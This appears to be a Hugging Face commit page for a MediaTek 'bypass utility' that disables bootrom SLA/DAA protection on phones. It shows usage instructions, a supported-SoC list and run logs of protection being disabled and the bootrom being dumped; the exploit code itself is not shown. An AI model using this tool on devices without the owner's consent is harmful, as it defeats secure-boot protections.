Upload folder using huggingface_hub
Browse files- .gitattributes +2 -0
- .gitignore +4 -0
- HOW_TO_USE.txt +5 -0
- LICENSE +21 -0
- README.md +52 -0
- UsbDk_1.0.22_x64.msi +3 -0
- bypass_utility.log +250 -0
- exploits_collection/README.md +34 -0
- firmware-tweaks/MT6765_Android_scatter.txt +766 -0
- firmware-tweaks/scatter_split.txt +169 -0
- firmware-tweaks/split.py +95 -0
- firmware-tweaks/utils.py +56 -0
- hf_upload.bash +1 -0
- libusb-1.0.dll +3 -0
- main.py +237 -0
- src/bruteforce.py +63 -0
- src/common.py +21 -0
- src/config.py +61 -0
- src/device.py +343 -0
- src/exploit.py +97 -0
- src/logger.py +9 -0
.gitattributes
CHANGED
@@ -33,3 +33,5 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
|
|
33 |
*.zip filter=lfs diff=lfs merge=lfs -text
|
34 |
*.zst filter=lfs diff=lfs merge=lfs -text
|
35 |
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
|
|
|
|
|
33 |
*.zip filter=lfs diff=lfs merge=lfs -text
|
34 |
*.zst filter=lfs diff=lfs merge=lfs -text
|
35 |
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
36 |
+
libusb-1.0.dll filter=lfs diff=lfs merge=lfs -text
|
37 |
+
UsbDk_1.0.22_x64.msi filter=lfs diff=lfs merge=lfs -text
|
.gitignore
ADDED
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
1 |
+
src/__pycache__/
|
2 |
+
*.json5
|
3 |
+
*.bin
|
4 |
+
.idea
|
HOW_TO_USE.txt
ADDED
@@ -0,0 +1,5 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
1. Install python
|
2 |
+
2. Install UsbDk (64-bit)
|
3 |
+
3. Run `pip install pyusb json5`
|
4 |
+
4. Run `python main.py'
|
5 |
+
5. Power off device & connect via usb
|
LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
MIT License
|
2 |
+
|
3 |
+
Copyright (c) 2021 Dinolek
|
4 |
+
|
5 |
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6 |
+
of this software and associated documentation files (the "Software"), to deal
|
7 |
+
in the Software without restriction, including without limitation the rights
|
8 |
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9 |
+
copies of the Software, and to permit persons to whom the Software is
|
10 |
+
furnished to do so, subject to the following conditions:
|
11 |
+
|
12 |
+
The above copyright notice and this permission notice shall be included in all
|
13 |
+
copies or substantial portions of the Software.
|
14 |
+
|
15 |
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16 |
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17 |
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18 |
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19 |
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20 |
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21 |
+
SOFTWARE.
|
README.md
ADDED
@@ -0,0 +1,52 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
# Mediatek Bypass utility
|
2 |
+
|
3 |
+
> Personally tested on `Infinix Hot 10 Play X688B`
|
4 |
+
|
5 |
+
Small utility to disable bootrom protection(sla and daa) on Mediatek devices
|
6 |
+
|
7 |
+
## Usage on Windows
|
8 |
+
|
9 |
+
Skip steps 1-3 after first usage
|
10 |
+
|
11 |
+
1. Install [python (64-bit)](https://www.python.org/downloads)(select "Add Python X.X to PATH")
|
12 |
+
2. Install [UsbDk (64-bit)](https://github.com/daynix/UsbDk/releases)
|
13 |
+
3. Install pyusb, json5 with command:
|
14 |
+
|
15 |
+
```
|
16 |
+
pip install pyusb json5
|
17 |
+
```
|
18 |
+
|
19 |
+
4. Run this command and connect your powered off phone with volume+ button, you should get "Protection disabled" at the end
|
20 |
+
|
21 |
+
```
|
22 |
+
python main.py
|
23 |
+
```
|
24 |
+
|
25 |
+
5. After that, without disconnecting phone, run SP Flash Tool
|
26 |
+
|
27 |
+
## Usage on Linux
|
28 |
+
|
29 |
+
Skip steps 1-2 after first usage
|
30 |
+
To use kamakiri you need [FireISO](https://github.com/amonet-kamakiri/fireiso/releases) or [this patch](https://github.com/amonet-kamakiri/kamakiri/blob/master/kernel.patch) for your kernel
|
31 |
+
|
32 |
+
Prebuilt kernels for various distros are available [here](https://github.com/amonet-kamakiri/prebuilt-kernels)
|
33 |
+
|
34 |
+
1. Install python
|
35 |
+
2. Install pyusb, json5 as root with command:
|
36 |
+
|
37 |
+
```
|
38 |
+
pip install pyusb json5
|
39 |
+
```
|
40 |
+
|
41 |
+
3. Run this command as root and connect your powered off phone with volume+ button, you should get "Protection disabled" at the end
|
42 |
+
|
43 |
+
```
|
44 |
+
./main.py
|
45 |
+
```
|
46 |
+
|
47 |
+
4. After that, without disconnecting phone, run SP Flash Tool in UART Connection mode
|
48 |
+
|
49 |
+
## Credits
|
50 |
+
|
51 |
+
- [@chaosmaster](https://github.com/chaosmaster)
|
52 |
+
- [@xyzz](https://github.com/xyzz)
|
UsbDk_1.0.22_x64.msi
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:91f6f695e1e13c656024e6d3b55620bf08d8835ef05ee0496935ba6bb62466a5
|
3 |
+
size 6348800
|
bypass_utility.log
ADDED
@@ -0,0 +1,250 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
[2025-03-30 18:55:40.163719] Waiting for device
|
2 |
+
[2025-03-30 18:55:52.424270] Found device = 0e8d:0003
|
3 |
+
[2025-03-30 18:55:52.650426] Device hw code: 0x766
|
4 |
+
[2025-03-30 18:55:52.650426] Device hw sub code: 0x8a00
|
5 |
+
[2025-03-30 18:55:52.651427] Device hw version: 0xca00
|
6 |
+
[2025-03-30 18:55:52.651427] Device sw version: 0x0
|
7 |
+
[2025-03-30 18:55:52.652427] Device secure boot: True
|
8 |
+
[2025-03-30 18:55:52.653429] Device serial link authorization: False
|
9 |
+
[2025-03-30 18:55:52.653429] Device download agent authorization: True
|
10 |
+
[2025-03-30 18:55:52.654428] Disabling watchdog timer
|
11 |
+
[2025-03-30 18:55:52.656534] Disabling protection
|
12 |
+
[2025-03-30 18:55:52.684046] Protection disabled
|
13 |
+
[2025-03-30 18:59:45.675191] Waiting for device
|
14 |
+
[2025-03-30 19:00:05.607088] Found device = 0e8d:0003
|
15 |
+
[2025-03-30 19:00:05.838795] Device hw code: 0x766
|
16 |
+
[2025-03-30 19:00:05.839797] Device hw sub code: 0x8a00
|
17 |
+
[2025-03-30 19:00:05.839797] Device hw version: 0xca00
|
18 |
+
[2025-03-30 19:00:05.840798] Device sw version: 0x0
|
19 |
+
[2025-03-30 19:00:05.841799] Device secure boot: True
|
20 |
+
[2025-03-30 19:00:05.842799] Device serial link authorization: False
|
21 |
+
[2025-03-30 19:00:05.843798] Device download agent authorization: True
|
22 |
+
[2025-03-30 19:00:05.844797] Disabling watchdog timer
|
23 |
+
[2025-03-30 19:00:05.846797] Disabling protection
|
24 |
+
[2025-03-30 19:00:05.874968] Protection disabled
|
25 |
+
[2025-03-30 19:06:55.042281] Waiting for device
|
26 |
+
[2025-03-30 19:07:02.741112] Found device = 0e8d:0003
|
27 |
+
[2025-03-30 19:07:02.963512] Device hw code: 0x766
|
28 |
+
[2025-03-30 19:07:02.964513] Device hw sub code: 0x8a00
|
29 |
+
[2025-03-30 19:07:02.965513] Device hw version: 0xca00
|
30 |
+
[2025-03-30 19:07:02.965513] Device sw version: 0x0
|
31 |
+
[2025-03-30 19:07:02.966513] Device secure boot: True
|
32 |
+
[2025-03-30 19:07:02.967514] Device serial link authorization: False
|
33 |
+
[2025-03-30 19:07:02.967514] Device download agent authorization: True
|
34 |
+
[2025-03-30 19:07:02.968514] Disabling watchdog timer
|
35 |
+
[2025-03-30 19:07:02.970879] Disabling protection
|
36 |
+
[2025-03-30 19:07:02.999589] Protection disabled
|
37 |
+
[2025-03-30 19:24:07.022011] Waiting for device
|
38 |
+
[2025-03-30 19:24:45.045941] Found device = 0e8d:0003
|
39 |
+
[2025-03-30 19:24:45.292066] Device hw code: 0x766
|
40 |
+
[2025-03-30 19:24:45.292066] Device hw sub code: 0x8a00
|
41 |
+
[2025-03-30 19:24:45.293068] Device hw version: 0xca00
|
42 |
+
[2025-03-30 19:24:45.295068] Device sw version: 0x0
|
43 |
+
[2025-03-30 19:24:45.296067] Device secure boot: True
|
44 |
+
[2025-03-30 19:24:45.296067] Device serial link authorization: False
|
45 |
+
[2025-03-30 19:24:45.297067] Device download agent authorization: True
|
46 |
+
[2025-03-30 19:24:45.298068] Disabling watchdog timer
|
47 |
+
[2025-03-30 19:24:45.300067] Disabling protection
|
48 |
+
[2025-03-30 19:24:45.331068] Protection disabled
|
49 |
+
[2025-03-30 14:27:17.677816] Waiting for device
|
50 |
+
[2025-03-30 14:28:01.724914] Found device = 0e8d:0003
|
51 |
+
[2025-03-30 14:28:01.972474] Device hw code: 0x766
|
52 |
+
[2025-03-30 14:28:01.972474] Device hw sub code: 0x8a00
|
53 |
+
[2025-03-30 14:28:01.973473] Device hw version: 0xca00
|
54 |
+
[2025-03-30 14:28:01.973473] Device sw version: 0x0
|
55 |
+
[2025-03-30 14:28:01.974474] Device secure boot: True
|
56 |
+
[2025-03-30 14:28:01.974474] Device serial link authorization: False
|
57 |
+
[2025-03-30 14:28:01.975473] Device download agent authorization: True
|
58 |
+
[2025-03-30 14:28:01.976475] Disabling watchdog timer
|
59 |
+
[2025-03-30 14:28:01.978241] Disabling protection
|
60 |
+
[2025-03-30 14:28:01.989243] Using kamakiri
|
61 |
+
[2025-03-30 14:28:01.999445] Protection disabled
|
62 |
+
[2025-03-30 14:31:17.857838] Waiting for device
|
63 |
+
[2025-03-30 14:31:26.788119] Found device = 0e8d:0003
|
64 |
+
[2025-03-30 14:31:27.015928] Device hw code: 0x766
|
65 |
+
[2025-03-30 14:31:27.016928] Device hw sub code: 0x8a00
|
66 |
+
[2025-03-30 14:31:27.016928] Device hw version: 0xca00
|
67 |
+
[2025-03-30 14:31:27.017929] Device sw version: 0x0
|
68 |
+
[2025-03-30 14:31:27.018927] Device secure boot: True
|
69 |
+
[2025-03-30 14:31:27.018927] Device serial link authorization: False
|
70 |
+
[2025-03-30 14:31:27.019928] Device download agent authorization: True
|
71 |
+
[2025-03-30 14:31:27.019928] Disabling watchdog timer
|
72 |
+
[2025-03-30 14:31:27.021927] Disabling protection
|
73 |
+
[2025-03-30 14:31:27.022929] Using kamakiri
|
74 |
+
[2025-03-30 14:31:27.034260] Protection disabled
|
75 |
+
[2025-03-30 15:00:38.624821] Waiting for device
|
76 |
+
[2025-03-30 15:00:49.075305] Found device = 0e8d:0003
|
77 |
+
[2025-03-30 15:00:49.301589] Device hw code: 0x766
|
78 |
+
[2025-03-30 15:00:49.302589] Device hw sub code: 0x8a00
|
79 |
+
[2025-03-30 15:00:49.303590] Device hw version: 0xca00
|
80 |
+
[2025-03-30 15:00:49.303590] Device sw version: 0x0
|
81 |
+
[2025-03-30 15:00:49.304589] Device secure boot: True
|
82 |
+
[2025-03-30 15:00:49.304589] Device serial link authorization: False
|
83 |
+
[2025-03-30 15:00:49.305590] Device download agent authorization: True
|
84 |
+
[2025-03-30 15:00:49.306591] Disabling watchdog timer
|
85 |
+
[2025-03-30 15:00:49.308590] Disabling protection
|
86 |
+
[2025-03-30 15:00:49.310590] Using kamakiri
|
87 |
+
[2025-03-30 15:00:49.321530] Protection disabled
|
88 |
+
[2025-03-30 15:58:29.967337] Waiting for device
|
89 |
+
[2025-03-30 15:58:53.410958] Found device = 0e8d:0003
|
90 |
+
[2025-03-30 15:58:53.710266] Device hw code: 0x766
|
91 |
+
[2025-03-30 15:58:53.711267] Device hw sub code: 0x8a00
|
92 |
+
[2025-03-30 15:58:53.711267] Device hw version: 0xca00
|
93 |
+
[2025-03-30 15:58:53.712267] Device sw version: 0x0
|
94 |
+
[2025-03-30 15:58:53.712267] Device secure boot: True
|
95 |
+
[2025-03-30 15:58:53.713267] Device serial link authorization: False
|
96 |
+
[2025-03-30 15:58:53.714266] Device download agent authorization: True
|
97 |
+
[2025-03-30 15:58:53.715266] Disabling watchdog timer
|
98 |
+
[2025-03-30 15:58:53.717291] Disabling protection
|
99 |
+
[2025-03-30 15:58:53.749015] Protection disabled
|
100 |
+
[2025-03-30 16:03:40.629448] Waiting for device
|
101 |
+
[2025-03-30 16:03:47.032978] Found device = 0e8d:0003
|
102 |
+
[2025-03-30 16:03:47.302838] Device hw code: 0x766
|
103 |
+
[2025-03-30 16:03:47.303838] Device hw sub code: 0x8a00
|
104 |
+
[2025-03-30 16:03:47.304839] Device hw version: 0xca00
|
105 |
+
[2025-03-30 16:03:47.305839] Device sw version: 0x0
|
106 |
+
[2025-03-30 16:03:47.306840] Device secure boot: True
|
107 |
+
[2025-03-30 16:03:47.307842] Device serial link authorization: False
|
108 |
+
[2025-03-30 16:03:47.308840] Device download agent authorization: True
|
109 |
+
[2025-03-30 16:03:47.308840] Disabling watchdog timer
|
110 |
+
[2025-03-30 16:03:47.311839] Disabling protection
|
111 |
+
[2025-03-30 16:03:47.342886] Protection disabled
|
112 |
+
[2025-03-30 16:04:19.031387] Waiting for device
|
113 |
+
[2025-03-30 16:04:36.829544] Found device = 0e8d:0003
|
114 |
+
[2025-03-30 16:04:37.098365] Device hw code: 0x766
|
115 |
+
[2025-03-30 16:04:37.098365] Device hw sub code: 0x8a00
|
116 |
+
[2025-03-30 16:04:37.099366] Device hw version: 0xca00
|
117 |
+
[2025-03-30 16:04:37.100366] Device sw version: 0x0
|
118 |
+
[2025-03-30 16:04:37.100366] Device secure boot: True
|
119 |
+
[2025-03-30 16:04:37.101367] Device serial link authorization: False
|
120 |
+
[2025-03-30 16:04:37.102367] Device download agent authorization: True
|
121 |
+
[2025-03-30 16:04:37.102367] Disabling watchdog timer
|
122 |
+
[2025-03-30 16:04:37.105274] Disabling protection
|
123 |
+
[2025-03-30 16:04:37.177177] Protection disabled
|
124 |
+
[2025-03-30 16:24:47.810791] Waiting for device
|
125 |
+
[2025-03-30 16:26:05.907340] Found device = 0e8d:2000
|
126 |
+
[2025-03-30 16:26:17.839154] Device hw code: 0x766
|
127 |
+
[2025-03-30 16:26:17.839154] Device hw sub code: 0x8a00
|
128 |
+
[2025-03-30 16:26:17.840160] Device hw version: 0xca00
|
129 |
+
[2025-03-30 16:26:17.841157] Device sw version: 0x0
|
130 |
+
[2025-03-30 16:26:17.842157] Device secure boot: True
|
131 |
+
[2025-03-30 16:26:17.843157] Device serial link authorization: False
|
132 |
+
[2025-03-30 16:26:17.843157] Device download agent authorization: True
|
133 |
+
[2025-03-30 16:26:17.845157] Found device in preloader mode, trying to crash...
|
134 |
+
[2025-03-30 16:26:17.847157] status is 7024
|
135 |
+
[2025-03-30 16:26:18.854501] Waiting for device
|
136 |
+
[2025-03-30 16:26:18.856501] Found device = 0e8d:0003
|
137 |
+
[2025-03-30 16:26:19.119788] Device hw code: 0x766
|
138 |
+
[2025-03-30 16:26:19.119788] Device hw sub code: 0x8a00
|
139 |
+
[2025-03-30 16:26:19.121053] Device hw version: 0xca00
|
140 |
+
[2025-03-30 16:26:19.122054] Device sw version: 0x0
|
141 |
+
[2025-03-30 16:26:19.122054] Device secure boot: True
|
142 |
+
[2025-03-30 16:26:19.123055] Device serial link authorization: False
|
143 |
+
[2025-03-30 16:26:19.124054] Device download agent authorization: True
|
144 |
+
[2025-03-30 16:26:19.124054] Disabling watchdog timer
|
145 |
+
[2025-03-30 16:26:19.126714] Disabling protection
|
146 |
+
[2025-03-30 16:26:19.156884] Protection disabled
|
147 |
+
[2025-03-30 16:28:14.415118] Waiting for device
|
148 |
+
[2025-03-30 16:28:14.417119] Found device = 0e8d:0003
|
149 |
+
[2025-03-30 16:28:14.684816] Device hw code: 0x766
|
150 |
+
[2025-03-30 16:28:14.685815] Device hw sub code: 0x8a00
|
151 |
+
[2025-03-30 16:28:14.686816] Device hw version: 0xca00
|
152 |
+
[2025-03-30 16:28:14.686816] Device sw version: 0x0
|
153 |
+
[2025-03-30 16:28:14.687816] Device secure boot: False
|
154 |
+
[2025-03-30 16:28:14.687816] Device serial link authorization: False
|
155 |
+
[2025-03-30 16:28:14.688817] Device download agent authorization: False
|
156 |
+
[2025-03-30 16:28:14.689818] Disabling watchdog timer
|
157 |
+
[2025-03-30 16:28:14.692135] Insecure device, sending payload using send_da
|
158 |
+
[2025-03-30 16:28:14.748482] Found send_dword, dumping bootrom to bootrom_766.bin
|
159 |
+
[2025-03-30 16:29:05.907328] Waiting for device
|
160 |
+
[2025-03-30 16:29:09.219474] Found device = 0e8d:2000
|
161 |
+
[2025-03-30 16:29:20.608828] Device hw code: 0x766
|
162 |
+
[2025-03-30 16:29:20.609829] Device hw sub code: 0x8a00
|
163 |
+
[2025-03-30 16:29:20.610816] Device hw version: 0xca00
|
164 |
+
[2025-03-30 16:29:20.610816] Device sw version: 0x0
|
165 |
+
[2025-03-30 16:29:20.612815] Device secure boot: True
|
166 |
+
[2025-03-30 16:29:20.613815] Device serial link authorization: False
|
167 |
+
[2025-03-30 16:29:20.613815] Device download agent authorization: True
|
168 |
+
[2025-03-30 16:29:20.614831] Found device in preloader mode, trying to crash...
|
169 |
+
[2025-03-30 16:29:20.617909] status is 7024
|
170 |
+
[2025-03-30 16:29:21.620024] Waiting for device
|
171 |
+
[2025-03-30 16:29:21.622036] Found device = 0e8d:0003
|
172 |
+
[2025-03-30 16:29:21.867785] Device hw code: 0x766
|
173 |
+
[2025-03-30 16:29:21.868785] Device hw sub code: 0x8a00
|
174 |
+
[2025-03-30 16:29:21.868785] Device hw version: 0xca00
|
175 |
+
[2025-03-30 16:29:21.869786] Device sw version: 0x0
|
176 |
+
[2025-03-30 16:29:21.869786] Device secure boot: True
|
177 |
+
[2025-03-30 16:29:21.870786] Device serial link authorization: False
|
178 |
+
[2025-03-30 16:29:21.871787] Device download agent authorization: True
|
179 |
+
[2025-03-30 16:29:21.872791] Disabling watchdog timer
|
180 |
+
[2025-03-30 16:29:21.875154] Disabling protection
|
181 |
+
[2025-03-30 16:29:21.905106] Protection disabled
|
182 |
+
[2025-03-30 16:48:01.676685] Waiting for device
|
183 |
+
[2025-03-30 16:48:01.677686] Found device = 0e8d:2000
|
184 |
+
[2025-03-30 16:48:13.037939] Device hw code: 0x766
|
185 |
+
[2025-03-30 16:48:13.037939] Device hw sub code: 0x8a00
|
186 |
+
[2025-03-30 16:48:13.038942] Device hw version: 0xca00
|
187 |
+
[2025-03-30 16:48:13.039941] Device sw version: 0x0
|
188 |
+
[2025-03-30 16:48:13.039941] Device secure boot: True
|
189 |
+
[2025-03-30 16:48:13.040941] Device serial link authorization: False
|
190 |
+
[2025-03-30 16:48:13.042941] Device download agent authorization: True
|
191 |
+
[2025-03-30 16:48:13.043942] Found device in preloader mode, trying to crash...
|
192 |
+
[2025-03-30 16:48:13.047942] status is 7024
|
193 |
+
[2025-03-30 16:48:14.057950] Waiting for device
|
194 |
+
[2025-03-30 16:48:14.058950] Found device = 0e8d:0003
|
195 |
+
[2025-03-30 16:48:14.320814] Device hw code: 0x766
|
196 |
+
[2025-03-30 16:48:14.321814] Device hw sub code: 0x8a00
|
197 |
+
[2025-03-30 16:48:14.322814] Device hw version: 0xca00
|
198 |
+
[2025-03-30 16:48:14.322814] Device sw version: 0x0
|
199 |
+
[2025-03-30 16:48:14.323814] Device secure boot: True
|
200 |
+
[2025-03-30 16:48:14.325324] Device serial link authorization: False
|
201 |
+
[2025-03-30 16:48:14.327346] Device download agent authorization: True
|
202 |
+
[2025-03-30 16:48:14.328346] Disabling watchdog timer
|
203 |
+
[2025-03-30 16:48:14.330887] Disabling protection
|
204 |
+
[2025-03-30 16:48:14.363226] Protection disabled
|
205 |
+
[2025-03-30 16:50:45.192561] Waiting for device
|
206 |
+
[2025-03-30 16:51:25.446559] Found device = 0e8d:2000
|
207 |
+
[2025-03-30 16:51:37.474047] Device hw code: 0x766
|
208 |
+
[2025-03-30 16:51:37.475048] Device hw sub code: 0x8a00
|
209 |
+
[2025-03-30 16:51:37.476050] Device hw version: 0xca00
|
210 |
+
[2025-03-30 16:51:37.477048] Device sw version: 0x0
|
211 |
+
[2025-03-30 16:51:37.477048] Device secure boot: True
|
212 |
+
[2025-03-30 16:51:37.478050] Device serial link authorization: False
|
213 |
+
[2025-03-30 16:51:37.479049] Device download agent authorization: True
|
214 |
+
[2025-03-30 16:51:37.480049] Found device in preloader mode, trying to crash...
|
215 |
+
[2025-03-30 16:51:37.482048] status is 7024
|
216 |
+
[2025-03-30 16:51:38.490922] Waiting for device
|
217 |
+
[2025-03-30 16:51:38.492932] Found device = 0e8d:0003
|
218 |
+
[2025-03-30 16:51:38.703067] Device hw code: 0x766
|
219 |
+
[2025-03-30 16:51:38.704575] Device hw sub code: 0x8a00
|
220 |
+
[2025-03-30 16:51:38.704575] Device hw version: 0xca00
|
221 |
+
[2025-03-30 16:51:38.706006] Device sw version: 0x0
|
222 |
+
[2025-03-30 16:51:38.707006] Device secure boot: True
|
223 |
+
[2025-03-30 16:51:38.708007] Device serial link authorization: False
|
224 |
+
[2025-03-30 16:51:38.709010] Device download agent authorization: True
|
225 |
+
[2025-03-30 16:51:38.709010] Disabling watchdog timer
|
226 |
+
[2025-03-30 16:51:38.711008] Disabling protection
|
227 |
+
[2025-03-30 16:51:38.741665] Protection disabled
|
228 |
+
[2025-03-30 17:29:04.508432] Waiting for device
|
229 |
+
[2025-03-30 17:29:25.433937] Found device = 0e8d:2000
|
230 |
+
[2025-03-30 17:29:36.976516] Device hw code: 0x766
|
231 |
+
[2025-03-30 17:29:36.977516] Device hw sub code: 0x8a00
|
232 |
+
[2025-03-30 17:29:36.978517] Device hw version: 0xca00
|
233 |
+
[2025-03-30 17:29:36.979518] Device sw version: 0x0
|
234 |
+
[2025-03-30 17:29:36.982520] Device secure boot: True
|
235 |
+
[2025-03-30 17:29:36.982520] Device serial link authorization: False
|
236 |
+
[2025-03-30 17:29:36.983517] Device download agent authorization: True
|
237 |
+
[2025-03-30 17:29:36.984519] Found device in preloader mode, trying to crash...
|
238 |
+
[2025-03-30 17:29:36.987517] status is 7024
|
239 |
+
[2025-03-30 17:29:37.998632] Waiting for device
|
240 |
+
[2025-03-30 17:29:38.000634] Found device = 0e8d:0003
|
241 |
+
[2025-03-30 17:29:38.267953] Device hw code: 0x766
|
242 |
+
[2025-03-30 17:29:38.267953] Device hw sub code: 0x8a00
|
243 |
+
[2025-03-30 17:29:38.269465] Device hw version: 0xca00
|
244 |
+
[2025-03-30 17:29:38.269465] Device sw version: 0x0
|
245 |
+
[2025-03-30 17:29:38.271801] Device secure boot: True
|
246 |
+
[2025-03-30 17:29:38.271801] Device serial link authorization: False
|
247 |
+
[2025-03-30 17:29:38.272799] Device download agent authorization: True
|
248 |
+
[2025-03-30 17:29:38.273802] Disabling watchdog timer
|
249 |
+
[2025-03-30 17:29:38.275799] Disabling protection
|
250 |
+
[2025-03-30 17:29:38.308307] Protection disabled
|
exploits_collection/README.md
ADDED
@@ -0,0 +1,34 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
### Supported SoCs
|
2 |
+
- mt6261
|
3 |
+
- mt6572
|
4 |
+
- mt6580
|
5 |
+
- mt6582
|
6 |
+
- mt6592
|
7 |
+
- mt6595
|
8 |
+
- mt6735
|
9 |
+
- mt6737
|
10 |
+
- mt6739
|
11 |
+
- mt6750
|
12 |
+
- mt6753
|
13 |
+
- mt6755
|
14 |
+
- mt6757
|
15 |
+
- mt6761
|
16 |
+
- mt6763
|
17 |
+
- mt6765
|
18 |
+
- mt6768
|
19 |
+
- mt6771
|
20 |
+
- mt6779
|
21 |
+
- mt6785
|
22 |
+
- mt6795
|
23 |
+
- mt6797
|
24 |
+
- mt6799
|
25 |
+
- mt6833
|
26 |
+
- mt6853
|
27 |
+
- mt6873
|
28 |
+
- mt6885
|
29 |
+
- mt8127
|
30 |
+
- mt8163
|
31 |
+
- mt8167
|
32 |
+
- mt8173
|
33 |
+
- mt8590
|
34 |
+
- mt8695
|
firmware-tweaks/MT6765_Android_scatter.txt
ADDED
@@ -0,0 +1,766 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
